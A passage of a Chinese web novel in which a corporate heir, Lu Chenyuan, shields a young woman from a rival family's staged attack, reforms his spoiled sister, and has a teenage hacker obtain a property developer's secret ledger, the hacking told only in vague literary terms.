然而，就在那三个混混的拳头即将落在苏阳身上的瞬间—— “嗖！嗖！” 两道黑影如同鬼魅一般，从小巷的另一头猛冲过来。 他们的动作快如闪电，身形矫健，出手更是干脆利落。 只听见几声沉闷的击打声和骨头错位的“咔嚓”声，前后不过五秒钟，那三个刚才还不可一世的小混混，已经全部躺在地上，蜷缩着身体，痛苦地哀嚎起来。 一切发生得太快，陆若溪和苏阳甚至都没看清那两人是如何出手的。 巷子里恢复了安静，只剩下混混们的呻吟。 出手的是两个穿着普通夹克的青年男人，相貌平平，属于扔进人堆里就找不出来的那种。 其中一人走到苏阳面前，对他点了点头，然后掏出手机，熟练地拨打了报警电话： “喂，110吗？这里是城中村光明路三号小巷，有三名歹徒持械抢劫未遂，已经被我们制服，请你们过来处理一下。” 他的语气平静得就像在说一件再平常不过的小事。 陆若溪看着这两个突然出现的“好心人”，眼中的警惕非但没有消失，反而更重了。 太巧了。 出现得太巧，出手太专业，处理方式也太冷静。 这根本不是普通的路人。 她转过头，看向身旁的苏阳，清冷的目光仿佛要将他看穿：“苏阳，他们是谁？你认识？” 苏阳的脸颊瞬间涨红，眼神飘忽，支支吾吾地说道： “他、他们是我……是我在电脑城认识的朋友。今天正好路过……” “朋友？”陆若溪的语气里带着一丝怀疑，“这么巧？” “是、是啊……”苏阳不敢再看她的眼睛，只能硬着头皮继续撒谎， “我以前帮过他们一个大忙，他们……他们说要报答我。” 就在这时，其中一个黑衣人似乎处理完了事情，走过来说道： “苏阳，事情解决了，我们先走了。你们也快回家吧，注意安全。” 说完，他和同伴对视一眼，没有丝毫停留，迅速转身，几个闪身就消失在了小巷的拐角处。 陆若溪看着他们离去的方向，眉头紧锁，陷入了沉思。 她不相信苏阳的说辞。 这些人，更像是……受过专业训练的保镖。 是那个叫陆沉渊的男人安排的吗？ 他所谓的“投资”，到底还包含了什么？ …… 与此同时，在距离小巷几百米外的一条主干道上。 一辆黑色的奥迪A6里，厉烬川烦躁地按着喇叭。 他的车前，一辆拉着水果的三轮车不知道怎么回事，侧翻在地，橘子和苹果滚落一地，将本就不宽的道路堵得严严实实。 一个中年妇女正坐在地上嚎啕大哭，和三轮车夫争执不休，周围围了一圈看热闹的人，把路堵得水泄不通。 “真该死！”厉烬川低声咒骂了一句，看了一眼手表。 按照父亲给的时间，他应该在三十分钟前就到达那个小巷。 现在，只怕是什么都晚了。 他不知道，就在他看不见的角落，一个戴着鸭舌帽的男人正通过耳麦低声汇报。 “目标已被成功阻截，预计将延误三十分钟以上。重复，目标已被阻截。” 这看似偶然的街头纠纷，正是陆沉渊手下的杰作。 简单，有效，且不会引起任何怀疑。 等厉烬川好不容易从拥堵中脱身，驱车赶到那条小巷时，这里早已恢复了平静。 巷子里空无一人，只有地上还残留着几个烟头，空气中弥漫着一股淡淡的血腥味和潮湿的霉味。 而远处，警笛声渐渐远去，似乎在诠释着这里刚刚发生的事。 他来晚了。 有人报警救走了那个叫叶若溪的女孩子。 厉烬川一拳砸在方向盘上，发出沉闷的响声。 一种计划被人破坏的挫败感，让他心中升起一股无名火。 是意外？还是……有人在暗中阻止自己？ 他拿出手机，拨通了父亲的电话。 “失败了。”他言简意赅。 电话那头的厉修剑沉默了几秒，声音阴沉地问道：“怎么回事？” “路上出了点意外，被堵住了。”厉烬川皱着眉， “我到的时候，警车刚刚带着人走了，好像是有人报警了。” …… 京州，陆氏集团顶层办公室。 陆沉渊刚刚结束一个跨国视频会议，林远便敲门走了进来。 “陆总，安河县那边刚刚传来消息。”林远将一份简报递了过去，“一切顺利。” 陆沉渊接过简报，快速浏览了一遍。 “厉烬川被成功阻截，目标安然无恙。三名嫌犯已由当地警方带走，初步审讯，他们承认是收了钱办事，但并不知道雇主是谁，只通过一个一次性的电话号码联系。” “查到那个号码的来源了吗？”陆沉渊问道。 “查了，是无记名的黑卡，线索到这里就断了。”林远回答道， “不过，根据我们对厉家的监控，今天下午，厉烬川确实动身去了安河。” “是他没错了。”陆沉渊将简报放在桌上，眼中闪过一抹冷意，“厉修剑这条老狐狸，终究还是按捺不住了。” 从他决定保下陆若溪的那一刻起，他就知道，自己必然会和原剧情中的主角势力——厉家，提前对上。 只是他没想到，对方的动作会这么快，手段也一如既往的卑劣。 “陆总，我们下一步怎么办？”林远问道，“需要加强安河那边的人手吗？” “不用。”陆沉渊摇了摇头，嘴角勾起一抹意味深长的笑容，“鱼饵已经放下，就看鱼儿什么时候会再次上钩了。千日防贼，不如引蛇出洞。” 他站起身，走到巨大的落地窗前，俯瞰着脚下这座繁华的城市。 “林远，通知张奇，让他最近多注意收集一些关于盛天地产的黑料。” “盛天地产？”林远有些不解，“这和厉家有关系吗？” “现在没有，但很快就有了。”陆沉渊的目光深邃如海， “我记得，厉修剑的妻弟，好像就在盛天地产担任高管吧？” 林远心头一震，瞬间明白了陆沉渊的意图。 总裁这是要……主动出击了！ “我明白了，陆总，我马上去安排！” 看着林远离去的背影，陆沉渊的目光重新落向远方。 厉烬川，你的剧本太老套了。 既然你要入局，那我就陪你好好玩玩。 只是这一次，棋盘由我来定，规则，也由我来写。 第19章 阳光下的承诺 厉烬川烦躁地在房间里踱步，英俊的脸上布满了阴霾。 计划失败的挫败感像一条毒蛇，噬咬着他一贯的骄傲。 就在这时，房门被“砰砰砰”地粗暴敲响。 “谁？”厉烬川警惕地喝问。 门外传来一个粗嘎的男声：“厉少，是我们。开门聊聊？” 厉烬川的脸色一沉，他听出了这个声音，是昨天他雇来演戏的那伙混混的头子，一个叫“彪哥”的地头蛇。 他拉开门，只见彪哥带着四五个流里流气的壮汉堵在门口，一脸的皮笑肉不笑。 “厉少，好大的手笔啊。”彪哥一进门就自顾自地坐在沙发上，翘起二郎腿， “说好了是演戏，吓唬吓唬人就行。你倒好，直接把我三个兄弟送进局子里去了。这事儿，不合规矩吧？” 厉烬川眼中闪过一丝杀意，但还是按捺住了。 强龙不压地头蛇，他不想在这里惹上不必要的麻烦。 “那是意外。”他冷冷地说道，“警察突然出现，我也没办法。” “意外？”彪哥嗤笑一声，从口袋里摸出一根烟点上，吐出一口浓雾， “我不管是不是意外。我的人进去了，就得捞出来。这笔钱，还有兄弟们的精神损失费、封口费，你得出。不然，这事要是传出去，说京州来的大少爷在安河县玩仙人跳，可就不好听了。” 赤裸裸的敲诈。 厉烬川的拳头在身侧攥得咯吱作响。他何曾受过这种窝囊气。 但他知道，彪哥这种滚刀肉，什么事都做得出来。 如果事情闹大，父亲的计划就全泡汤了。 “开个价。”他从牙缝里挤出三个字。 彪哥咧嘴一笑，露出满口黄牙，伸出五根手指： “五十万。一分不能少。就当是，给厉少你买个教训。” 厉烬川死死地盯着他，最终还是从皮夹里抽出一张卡，扔在桌上。 “密码六个八。拿了钱，立刻滚，把你们的嘴都给我闭严实了。” “好说，好说！厉少爽快！”彪哥拿起卡，得意地站起身，带着人扬长而去。 房门关上，厉烬川再也无法抑制怒火，一脚踹翻了面前的茶几。 玻璃碎裂的声音在房间里回响，如同他此刻破碎的自尊。 到底有没有背后之人在搞破坏？ 这个疑问一直在历烬川脑中挥之不去。 …… 另一边，自从那天小巷惊魂后，陆若溪的生活看似恢复了平静，但她的内心却泛起了层层涟漪。 她没有再追问苏阳，因为她知道，再问也问不出结果。 苏阳的眼神已经告诉了她一切。 他有所隐瞒，但并无恶意。 可怀疑的种子一旦种下，便会疯狂滋长。 陆若溪变得比以前更加敏锐和警惕。 上学放学的路上，她会下意识地观察周围。 那辆停在街角、连续三天都没有挪动过的黑色桑塔纳； 那个每天都在校门口报刊亭买同一份报纸、却从不翻看的陌生男人； 甚至连楼下那只以前从不怕人的野猫，最近见到她都会远远躲开…… 这些微不足道的细节，像一张无形的网，将她笼罩其中。 她明白，自己正被人暗中保护着，或者说，监视着。 那个给予她光明未来的男人，陆沉渊，他的“投资”远比一份协议要复杂得多。 她像是他棋盘上的一颗棋子，每一步都被安排得明明白白，这种感觉让她感到一丝不适，却又无可奈何。 因为她清楚，现在的自己，太弱小了。 弱小到，连知晓全部真相的资格都没有。 她唯一能做的，就是让自己变得更强，强到足以掌控自己的命运。 这天下午放学，苏阳再次等在了教室门口。 几天下来，这似乎已经成了他们之间无言的默契。 二人总是一前一后走在回家的路上，只是气氛比之前多了几分沉默。 苏阳几次欲言又止，清朗的脸上写满了纠结和煎熬。 终于，在走到那个熟悉的小巷路口时，他停下了脚步，鼓起勇气开口：“若溪。” 陆若溪也停了下来，回过头来，静静地看着他，清澈的眼眸里没有探究，只有平静，仿佛在等待他做出决定。 “那天的事……我对你撒谎了。”苏阳的头低了下去，声音里带着愧疚， “他们……不是我在电脑城认识的朋友。” 陆若溪没有说话，只是静静地听着。 “我想保护你，这是真心的。”苏阳抬起头，目光灼灼地看着她，眼神里是少年人最纯粹的执着与坚定， “那些人，他们的来历我不能说，我答应过别人。但是，他们没有恶意，只是……在保护你。” 阳光透过稀疏的树叶，在他身上洒下斑驳的光影，让他整个人看起来真诚而坦荡。 “若溪，我知道你很聪明，肯定猜到了很多。我只希望你不要胡思乱想，不要害怕。你现在要做的，就是安心学习，考上京州大学，去更广阔的天地。” “然后，使自己变得更加强大，让任何人，都无法左右你的人生！” 苏阳的声音顿了顿，带着一丝郑重的承诺。 “将来不管怎么样，我都会陪你一起走下去。无论发生什么，我都会站在你身边。” 陆若溪的心，像是被什么东西轻轻地撞了一下。 十八年来，苏阳是是第一个坚信她可以改变自己的命运，可以掌握自己的命运的人。 也是第一个对她说“保护”，说“陪伴”的人。 她看着眼前这个阳光而坚毅的少年，看着他眼中的真诚与决绝，心中那张紧绷的弓弦，在这一刻悄然松动。 是啊，纠结那些自己无法掌控的事情又有什么意义呢？ 与其在迷雾中猜忌不安，不如抓住眼前的真实的光芒。 而且，如果通往未来的路上，有这样一个人同行，其实……也不坏。 陆若溪紧锁的眉头缓缓舒展开来，嘴角勾起一抹极浅、却真实存在的弧度。 “我知道了。” 她轻轻开口，声音不大，却清晰地传入苏阳耳中。 然后，她招了招手。 “走吧，回家了。” 苏阳愣住了。 “不是说站在我身旁吗？” 陆若溪露出浅笑。 苏阳看着笑意盈盈的陆若溪，快步走到她的身旁，两人肩并肩，缓缓走着。 夕阳下，两个少年的影子被拉得很长，很长，最终交叠在一起，再也分不清彼此。 第20章 陆芊芊的裂痕 午后的阳光透过老旧的玻璃窗，在布满水汽的社区食堂里投下斑驳的光影。 空气中弥漫着大锅饭特有的、朴实而温暖的香气，混杂着切菜的“咄咄”声、锅铲与铁锅的碰撞声，以及大嗓门的阿姨们爽朗的笑谈声，构成了一曲充满烟火气的交响。 陆芊芊站在一个巨大的不锈钢水槽前，额头上沁着一层细密的薄汗。 她身上那件原本崭新的香奈儿套装早已被收进了衣柜深处，取而代之的，是一件洗得有些发白的蓝色工作围裙。 曾经十指不沾阳春水、连剥颗荔枝都嫌麻烦的纤纤玉手，此刻正有些笨拙地抓着一个土豆，用削皮刀一下一下地刮着。 她的动作远谈不上麻利，甚至因为用力不均，削下来的土豆皮厚薄不一，好几次险些刮到自己的手指。 一个月前，如果有人告诉她，她会在这样一个地方，干着这种在她看来只有佣人才会干的活，她一定会觉得那人疯了。 最初的那一个星期，对陆芊芊而言，简直是地狱般的折磨。 她每天都想发脾气，想把手里的东西全都砸掉，想哭着跑回家质问大哥为什么对自己如此残忍。 每一次闻到油烟味，她都觉得恶心；每一次触碰到油腻的餐盘，她都想尖叫。 然而，陆沉渊的态度坚决得如同一座无法撼动的冰山。 他冻结了她所有的卡，收回了她的车钥匙，甚至连母亲楼梦玲的求情都置若罔闻。 她被彻底孤立，除了妥协，别无他法。 “芊芊，小心点，别走神把手给伤了。”一旁正在飞快切着白菜的王姨注意到了她的晃神，好心提醒了一句。 王姨是食堂的老员工，一个嗓门洪亮、心地善良的中年妇女。 一开始，她和其他人一样，对这个浑身名牌、娇滴滴来“体验生活”的大小姐充满了不解和一丝排斥。 但看着陆芊芊从一开始的满脸抗拒，到后来的咬牙坚持，再到现在默默干活的样子，那份排斥也渐渐变成了几分说不清的怜爱。 “知道了，王姨。”陆芊芊回过神，冲她挤出一个有些疲惫的微笑。 这一个月的“改造”，并没有让她脱胎换骨，但确实像一把锉刀，将她身上最尖锐、最不合时宜的骄纵和娇气，一点点地磨掉了。 她学会了如何区分不同种类的蔬菜，学会了如何用最省力的方式刷干净堆积如山的碗碟，甚至能在食堂最忙碌的时候，端着沉重的餐盘在拥挤的人群中穿梭自如。 这些技能，对她而言毫无用处，却又让她在每天精疲力尽的劳作后，产生一种前所未有的踏实感。 她不再是那个只需要撒娇就能得到一切的陆家公主，而是一个靠自己双手劳动换取三餐的普通帮厨。 上午，她依然要去学校上课，虽然心思早已不在那些对她而言过于简单的课程上。 下午，她便准时来到社区食堂报到。 而晚上，等待她的，是陆沉渊亲自为她安排的家庭教师团队，进行着这套被大哥命名为“青年领袖独立计划”的课程辅导，内容涵盖了金融、法律、社会学、公共关系等她过去闻所未闻的领域。 她的生活被安排得满满当当，像一个高速旋转的陀螺，没有一丝喘息和胡思乱想的时间。 “好了好了，今天的饭菜都准备得差不多了。” 食堂负责人李姐拍了拍手，扬声喊道， “芊芊，今天你跟我去给住在幸福里小区的几户孤寡老人送餐。” “好的，李姐。”陆芊芊应了一声，脱下湿漉漉的手套，擦干了手。 给行动不便的老人送餐，之前李姐就带她去过。 比起在后厨闷头干活，她其实更喜欢这份工作，至少，可以短暂地离开这片油烟之地。 她和李姐一起，将打包好的保温饭盒一一装上那辆半旧的电动三轮车，朝着幸福里小区驶去。 幸福里，一个听起来充满温情的名字，现实却是京州最老旧的几个社区之一。 这里的楼房大多建于上世纪八十年代，墙皮斑驳脱落，楼道里堆满了杂物，空气中常年飘散着一股阴暗潮湿的霉味，与陆家庄园那四季恒温、空气中都飘着淡雅花香的环境，恍如两个世界。 陆芊芊提着两个沉甸甸的保温饭盒，跟在李姐身后，熟门熟路地爬上了一栋没有电梯的居民楼的五楼。 “咚咚咚。” “谁呀？”门内传来一个苍老而虚弱的声音。 “陈大爷，社区食堂的，给您送饭来了。”李姐高声应道。 门被缓缓拉开一条缝，一张布满皱纹的脸探了出来。看到是李姐，陈大爷浑浊的眼睛里露出一丝笑意： “是小李啊，快请进，快请进。” 陆芊芊跟着走进屋子，一股浓重的中药味扑面而来。 房间很小，陈设简陋，唯一算得上电器的，只有一台老旧的十四寸电视机。 一个面容愁苦的中年妇女正坐在床边，拿着毛巾给躺在床上的另一位老人擦拭身体，看到他们进来，也只是疲惫地点了点头，算是打过招呼。 “赵大姐，又来看你家老张了？”李姐将饭盒放在桌上，熟稔地问道。 “是啊。”被称为“赵大姐”的女人叹了口气，眼圈瞬间就红了， “他不放心，我也不放心啊。你说这叫什么事儿，好端端的一个人，就这么废了。” 陆芊芊将另一个饭盒也放下，好奇地看了一眼床上那位形容枯槁的老人。 他双眼紧闭，胸口微弱地起伏着，似乎正陷入昏睡。 陈大爷接过饭盒，也跟着叹气： “盛天地产那帮天杀的，太不是东西了！把人害成这样，连医药费都不肯赔，还有没有王法了！” “盛天地产？” 听到这个熟悉的名字，陆芊芊的心猛地一跳。大哥前几天似乎和林远特助提起过这个公司。 她的注意力立刻被吸引了过去。 赵大姐仿佛找到了一个宣泄的出口，眼泪止不住地往下流，开始断断续续地哭诉起来。 “我家老张，给盛天地产的楼盘干活，当了一辈子瓦工，手艺是出了名的好。三个月前，就因为工地的脚手架不合规，他从三楼摔了下来，下半辈子都得在床上过了……” “我们去找盛天地产，他们嘴上说得好听，说什么一定会负责。可一转头，就拿出份合同，说我家老张不是他们的正式员工，是跟一个什么劳务公司签的合同，让他们去找劳务公司。可那家劳务公司，就是个皮包公司，出事之后，人早就跑没影了！” “我们去告，可我们这种普通老百姓，哪斗得过人家家大业大的上市公司？他们请了京州最好的律师团，光是打官司拖都把我们拖死了。” 赵大姐的声音里充满了绝望和无助，每一个字都像一根针，扎在陆芊芊的心上。 第21章 陆芊芊的裂痕（续） 她知道世界上有穷人，但那只是一个模糊而遥远的概念，就像电视新闻里的一个符号。 这是她第一次，如此真切、如此近距离地，触碰到一个被资本碾压得粉身碎骨的家庭的悲惨境遇。 那不是符号，是一个活生生的人，一个支离破碎的家，是一日三餐的挣扎，是看不到希望的明天。 “后来，有个叫张奇的好心律师，愿意免费帮我们打官司。”陈大爷在一旁补充道，声音里带着愤慨， “张律师是个好人啊，为了我们的案子，跑前跑后，搜集了很多证据，眼看就要有希望了。可就在开庭前一个星期，他……他出了车祸，现在还躺在医院里，是死是活都不知道。” “张奇？”陆芊芊的瞳孔猛地一缩。 这个名字，她也听大哥提起过！ 原来，这就是那个案子的当事人！ “可不是嘛！”赵大姐用粗糙的手背抹着眼泪， “现在我们是彻底没指望了。医药费一天天在涨，家里的积蓄早就花光了，亲戚朋友也都借遍了。要不是有社区食堂和你们这些好心人帮衬，我们娘俩恐怕早就饿死了……” 后面的话，陆芊芊已经有些听不清了。 她的脑子里一片轰鸣，眼前是赵大姐那张被泪水和岁月刻满沟壑的脸，耳边是床上病人微弱的呼吸声，鼻腔里是那股浓得化不开的中药味和贫穷的霉味。 一股从未有过的、混杂着震惊、同情与滔天怒火的情绪，像火山一样在她胸中喷发。 原来，在京州这座繁华都市光鲜亮丽的表皮之下，隐藏着这样触目惊心的黑暗和不公。 原来，那些在父亲和叔伯们口中只是一个数字、一个利润点的商业项目背后，是无数个像老张一样，用血汗甚至生命在堆砌，却被随意抛弃的代价。 原来，她身上一件衣服、一个包包的价格，就足以让一个这样的家庭，在绝望中看到一丝生机。 她第一次，对自己过去那种挥金如土、理所当然的生活，产生了强烈的质疑和一种莫名的羞耻感。 …… 回陆家庄园的路上，陆芊芊一言不发。 司机从后视镜里看到她失魂落魄的样子，也不敢多问。 车窗外，是流光溢彩的城市夜景，高楼林立，霓虹闪烁。 可这一切落在陆芊芊的眼中，却显得无比刺眼和虚假。 她感觉自己的世界，被硬生生撕开了一道巨大的裂痕。 裂痕的一边，是她过去所处的、被精心打造的、不识人间疾苦的金色牢笼；而另一边，是她今天才窥见一角的、充满了挣扎、血泪和绝望的真实人间。 回到家，她甚至没有像往常一样先去冲个澡洗掉一身的疲惫和油烟味，而是径直走向了二楼的书房。 “咚，咚，咚。”她敲了敲门。 “请进。”陆沉渊沉稳的声音从门内传来。 陆芊芊推门而入。 陆沉渊正坐在巨大的红木书桌后，看着一份文件。他抬起头，看到是陆芊芊，眉毛微不可察地挑了一下。 眼前的妹妹，和平时不太一样。 她没有抱怨，没有撒娇，那双总是带着几分娇蛮和任性的眼睛里，此刻盛满了她从未见过的、复杂而沉重的情绪。 “大哥。”陆芊芊开口，声音有些沙哑。 “嗯。”陆沉渊放下文件，身体微微后靠，看着她，示意她继续说。 “我今天……去给一个叫张师傅的工人送饭了。”陆芊芊的双手在身侧紧紧地攥成了拳头，似乎在极力平复自己的情绪， “他之前是盛天地产的工人，从楼上摔下来，瘫痪了。盛天地产却推卸责任，不给赔偿。他们家现在连吃饭都成问题。” 她一口气将事情说完，胸口剧烈地起伏着，眼眶也跟着红了。 “他们太可怜了，大哥。”她的声音里带上了一丝哽咽， “那家公司，盛天地产，他们怎么可以这么坏？那是一条人命啊！他们怎么可以就这么不管了？！” 这不再是过去那种为了索要礼物而装出来的委屈，而是一种发自内心的、纯粹的愤慨和不平。 陆沉渊静静地听着，深邃的眼眸里，闪过一丝不易察觉的欣慰。 他知道，把他扔进鱼缸里的小石子，终于激起了真正的涟漪。 他的妹妹，正在从一个被宠坏的芭比娃娃，开始向一个有血有肉、有独立思考能力的人转变。 “你觉得，应该怎么做？”陆沉渊没有立刻给出答案，反而抛出了一个问题。 陆芊芊愣住了。 她只是出于本能地来找大哥倾诉，寻求一个依靠，却没想到大哥会反问她。 她下意识地回答：“当然是让他们赔钱！让他们坐牢！让他们为自己做过的事付出代价！” “然后呢？”陆沉渊继续问，“怎么让他们赔钱？怎么让他们坐牢？凭借你的愤怒吗？” 一连串的追问，让陆芊芊再次语塞。 是啊，她除了愤怒，什么也做不了。 她看着眼前沉稳如山的大哥，第一次意识到，自己是多么的无力和幼稚。 “大哥……我……”她有些泄气地垂下头。 看着她这副模样，陆沉渊知道火候差不多了。 他站起身，走到她面前，语气不再像刚才那样咄咄逼人，而是恢复了温和： “芊芊，你能为这些素不相识的人感到愤怒，并想要为他们讨回公道，大哥很为你感到高兴。” 陆芊芊猛地抬起头，不可思议地看着他。 这是大哥第一次，用这种平等的、赞许的语气和她说话。 “你记住，愤怒是这个世界上最廉价、也最无用的情绪。”陆沉渊的目光变得锐利起来， “真正能改变不公的，是规则、是实力、是智慧。盛天地产之所以敢这么做，是因为他们自认为很了解规则，并且有足够的实力去扭曲规则。” 他顿了顿，声音沉静而有力：“而我们要做的，就是用他们更懂的方式，在规则的棋盘上，将他们彻底击溃。” “你之前提到的那个张奇律师，”陆沉渊缓缓说道， “他的车祸不是意外。现在，他已经康复，并且成了我们的人。他一直在负责收集盛天地产的违法证据。” 陆芊芊的眼睛瞬间瞪大了，震惊和恍然大悟的神色交织在她脸上。 “所以，大哥你……你早就知道了？” “我知道的，远比你想象的要多。”陆沉渊的嘴角勾起一抹意味深长的弧度， “正义有时候会迟到，但只要我们让它走在正确的路上，它就一定不会缺席。” 他拍了拍陆芊芊的肩膀，这是一种安抚，更是一种无声的托付。 “这件事，我会处理。你现在要做的，不是沉浸在无力的愤怒里，而是继续完成你的学业和课程。等你真正强大起来，未来，你将有能力亲手去纠正更多这样的不公。” 陆芊芊看着眼前的大哥，那张英俊的脸上，带着她从未读懂过的深沉和坚毅。 她忽然明白，大哥让她去社区食堂，不是为了惩罚她，而是在用一种她当时无法理解的方式，为她打开一扇通往真实世界的窗。 一股暖流，缓缓淌过心间。 “大哥，”她吸了吸鼻子，郑重地点了点头，“我知道了。谢谢你。” 说完，她转身离开了书房。 陆沉渊看着她挺直的背影，重新走回窗边，俯瞰着陆家庄园璀璨的灯火。 盛天地产，历家…… 他布下的第一步棋，已经收到了意想不到的效果。 而现在，是时候，让这把由妹妹亲手递过来的、淬满了底层怒火的利刃，正式出鞘了。 他拿起电话，拨给了林远。 “林远，通知张奇，盛天地产的案子，可以收网了。” 第22章 另起炉灶 书房内，灯火通明。 陆沉渊挂断电话，指尖在光滑的红木桌面上轻轻敲击，发出富有节奏的“叩叩”声。 空气中，似乎还残留着陆芊芊离开时带来的那股混杂着震惊与决心的气息。 陆沉渊的目光深邃，犹如一潭不见底的寒渊。 陆芊芊这颗无意中投下的石子，不仅激起了她自身的涟漪，更让整个棋局的运转，提前进入了下一个阶段。 门被轻轻敲响，林远推门而入，神色肃穆。 “陆总，已经通知张奇了，他正在赶来的路上。” “很好。”陆沉渊点了点头，起身走到巨大的落地窗前。 窗外是庄园精心打理的园林，在夜灯的映照下，呈现出一种静谧而疏离的美。 “林远，你跟了我多久了？”陆沉渊忽然问道。 林远微微一愣，随即回答：“从你读研二，我大四实习开始，到现在快五年了。” “五年了……”陆沉渊轻声感慨，语气中带着一丝复杂的情绪， “时间过得真快。你有没有想过，去做一番真正属于自己的事业？” 林远心头一震，立刻道：“陆总，我……” 陆沉渊转过身，抬手打断了他，目光温和而锐利： “我不是要赶你走。我是想说，陆氏集团这个池子，对于你来说，太小了，也太浑了。” “我准备成立一家新的科技公司，专注于新能源和人工智能领域，那才是我真正想做的事情。” “我希望，你能去那里，替我执掌大局。” 林远怔住了，心中涌起惊涛骇浪。 林远知道陆沉渊一直在私下进行着一些布局，却没想到他竟有脱离陆氏，另起炉灶的魄力。 这已经不是简单的商业投资，而是釜底抽薪，再造乾坤的雄心。 “我……愿意！”林远没有丝毫犹豫，眼中燃起炽热的火焰。 他不是一个甘于平庸的人，辅佐陆沉渊很好，不过，如果有机会自己独当一面，开创一番事业，自然是求之不得的事情。 “好。”陆沉渊笑了笑， “不过，在此之前，先把眼前的事情处理干净。张奇，会是接替你的最佳人选。” 半小时后，一个身形挺拔、面容坚毅的青年，在管家的引领下，走进了书房。 他步履稳健，眼神明亮，虽然穿着一身普通的休闲装，但那股子从骨子里透出来的精干和沉稳，却让人无法忽视。 正是大难不死、被陆沉渊从鬼门关前拉回来的律师，张奇。 “陆总。”张奇微微躬身，语气中充满了发自肺腑的感激与尊敬。 他的命，是陆沉渊和陆沉霄医生给的。 这段时间，陆沉渊不仅为他提供了最好的康复条件，更将他车祸的真相和盘托出。 当他得知那扬车祸是盛天地产为阻止他维权而蓄意制造的黑手时，他心中的怒火与对这个黑暗现实的失望几乎将他吞噬。 是陆沉渊的话点醒了他。 “与其被黑暗吞噬，不如成为一把刺破黑暗的利剑。” 从那一刻起，张奇便下定决心，追随眼前这个深不可测的男人。 他要用自己毕生所学的法律知识，化作最锋利的武器，将那些视人命如草芥的资本恶龙，一一斩于马下。 “坐。”陆沉渊指了指沙发， “情况，芊芊刚才已经跟我说了。你那边，调查得怎么样？” 提及正事，张奇的神情立刻变得无比专注。 他从随身的公文包里拿出一叠厚厚的文件，条理清晰地铺陈在茶几上。 “陆总，根据我这段时间的秘密调查，以及之前代理案件时收集到的证据，一幅关于盛天地产的调查，已经基本完整了。” 他的手指在一份文件上点了点，声音沉稳而有力： “盛天地产的用工合同、工程安全与材料都存在严重问题。” “张师傅的事故，绝非偶然。我找到了好几位匿名的内部吹哨人，他们证实，盛天为了压缩成本，多个楼盘项目都存在偷工减料、违法违规的问题。他们简直是在用工人的生命来换取利润。” 张奇的语气中带着压抑不住的愤怒。 “最后，也是最核心的，是财务和税务问题。但他们的财务系统防火墙非常严密，由一个顶尖团队负责维护，我尝试过联系以前的线人，根本无法渗透进去。这是他们的七寸，也是我们最难抓住的要害。” 陆沉渊静静地听着，神色没有丝毫变化，仿佛一切都在他的意料之中。 “你说的没错。”他缓缓开口，“我们现在手上的证据，足以让盛天地产陷入一扬巨大的舆论风波和法律诉讼，但想要一击致命，还不够。” 张奇点了点头，神色凝重：“是的，这些证据，顶多能让他们伤筋动骨，赔一大笔钱，处理掉几个中层管理。但真正藏在幕后的黑手，绝对可以安然脱身，甚至还能借此机会金蝉脱壳。” “所以，我们需要一把钥匙。”陆沉渊的目光落在张奇身上， “一把能打开他们核心数据库的钥匙。我需要一份东西，一份关于‘项目意外处理预备金’的秘密账目。” “‘项目意外处理预备金’？”张奇重复了一遍这个名字，身为法学硕士的他，瞬间就明白了这几个字背后所代表的含义。 这根本不是什么正规的备用金，而是一笔专门用来处理各种“脏事”的黑钱！行贿的资金、封口的费用、摆平麻烦的支出……所有见不得光的交易，一定都记录在这本账上！ 如果能拿到这份账目，那就不是证据链了，而是一颗足以将整个盛天地产连同其背后势力炸得粉身碎骨的核弹！ “可是，陆总，他们的服务器固若金汤……”张奇面露难色。 “再坚固的堡垒，也总有缝隙。”陆沉渊的嘴角勾起一抹神秘的笑容， “这个世界上，总有一些天才，能于无形中，潜入任何他们想去的地方。” “林远，你让苏阳试一下。” 第23章 第一次试探 这是一家黑网吧，网吧里甚至都没有摄像头。 刺鼻的烟味和泡面的香气混合在一起，键盘的敲击声和游戏里的嘶吼声此起彼伏。 苏阳坐在最角落的一个机位上，戴着一副巨大的墨镜，甚至快遮住半张脸。 再加上一顶破旧的宽檐帽，苏阳将自己的五官遮掩地严严实实。 苏阳正神情专注地盯着屏幕。 虽然苏阳遮挡了面容，可是他身上那股清朗蓬勃的朝气，与周围乌烟瘴气的环境显得格格不入。 收到京州大人物的消息后，他的心跳微微加速。 苏阳知道，这不仅仅是一项任务，更是一次考验。 他深吸一口气，手指在键盘上飞快地舞动起来，屏幕上瞬间被一行行瀑布般滚动的绿色代码所覆盖。 他的眼神变得无比锐利，整个人仿佛化作了一道无形的影子，顺着网线，悄无声息地潜入了京州那座庞大而森严的数字堡垒。 盛天地产的防火墙确实如张奇所说，极其坚固。 三层动态密码，七个伪装的数据库入口，还有反追踪的密罐陷阱，层层叠叠，如同迷宫。 任何一次错误的尝试，都会立刻触发警报。 但对于苏阳而言，这迷宫虽然复杂，却并非无懈可击。 他的手指在键盘上敲击着，快得几乎出现了残影。 他的思维，此刻已经完全超越了常人的范畴，化作了纯粹的数据流。 时间一分一秒地过去。 …… 几个小时后，苏阳离开了网吧，又故意绕了几条街，然后将破旧的墨镜和帽子扔到一个垃圾桶里。 之后苏阳又逛了几条街，甚至进了一家文具店，看了一款中低端的钢笔，犹豫了片刻，买了下来，然后才往回家的路上走去。 …… 陆家庄园，书房。 当林远将苏阳传过来的解密后的文件呈现在大屏幕上时，连一向沉稳的张奇，都忍不住倒吸了一口凉气。 “我的天……”他看着屏幕上那一笔笔清晰的记录，震惊地说道， “这……这已经不是商业犯罪了，这是黑社会！有了这份东西，这次盛天地产，休想逃脱！这已经不是一把利刃了，陆总，这是一座足以压垮他们的断头台！” 陆沉渊的脸上有些沉重，他虽然知道历修剑手段肮脏，但是，没想到居然如此无下限。 他看着这份《血账》，有愤怒，也有哀伤。 随即，陆沉渊又压下了所有情绪，眼神里又开始出现算计的光芒。 “苏阳这小子，没让我失望。”他轻声说道。 “陆总，我们……”林远正想问下一步计划，目光却忽然被屏幕上的一个名字盯住了。他难以置信地凑近屏幕，反复确认后，声音都变了调，“陆总，您看这里！” 张奇也循声望去，同样愣住了。 在那份《血账》关联的隐秘股东名单里，一个熟悉的名字赫然在列——陆明事。 通过一家注册在海外的壳公司，他的二叔陆明事，竟然持有盛天地产3%的股份。虽然份额不大，但足以证明，他早已是这条贼船上的一员。 陆沉渊的眼中闪过一丝了然，之前的种种疑惑瞬间串联成线。 难怪二叔陆明事最近在家族会议上总是底气十足，原来是自以为在外面找到了新的靠山和财路。 “真是……愚不可及。”陆沉渊的语气冰冷，听不出喜怒。 他并不意外，陆家的旁支里有害群之马，但没想到自己的亲二叔，会愚蠢到与虎谋皮，主动跳进历修剑布好的陷阱里。 